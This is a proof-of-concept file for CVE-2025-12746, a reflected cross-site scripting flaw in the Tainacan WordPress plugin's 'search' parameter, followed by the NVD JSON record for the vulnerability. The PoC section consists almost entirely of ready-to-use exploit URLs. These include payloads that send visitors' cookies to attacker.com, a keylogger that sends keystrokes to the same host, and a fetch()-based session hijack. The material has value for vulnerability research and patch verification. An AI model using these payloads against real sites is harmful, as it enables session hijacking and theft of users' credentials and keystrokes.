CVE-2025-12746

<!-- CVE-2025-12746 PoC: Reflected XSS in Tainacan WordPress Plugin --> <!-- Target: Tainacan plugin <= 1.0.0 --> <!-- Attack Vector: 'search' parameter --> <!-- Basic XSS PoC --> https://target-site.com/?search=<script>alert(document.cookie)</script> <!-- Cookie Stealing PoC --> https://target-site.com/?search=<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Keylogger PoC --> https://target-site.com/?search=<script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script> <!-- Session Hijacking PoC --> https://target-site.com/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- HTML Injection with Script --> https://target-site.com/?search=</title><script>alert('XSS')</script>

{"cve": {"id": "CVE-2025-12746", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:53.930", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tainacan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'search' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/tainacan/tainacan/blob/2491612ee9d5b14baa70862ba2308ee925de0938/src/classes/theme-helper/template-tags.php#L1652", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3395909/tainacan/trunk/classes/theme-helper/template-tags.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/014dd0ee-0bd0-477c-a0fa-bde8ce5a099c?source=cve", "source": "[email protected]"}, {"url": "https://github.com/tainacan/tainacan/commit/8468fb4ec76c709d5ae2852d1fc64986b1dc73cf", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}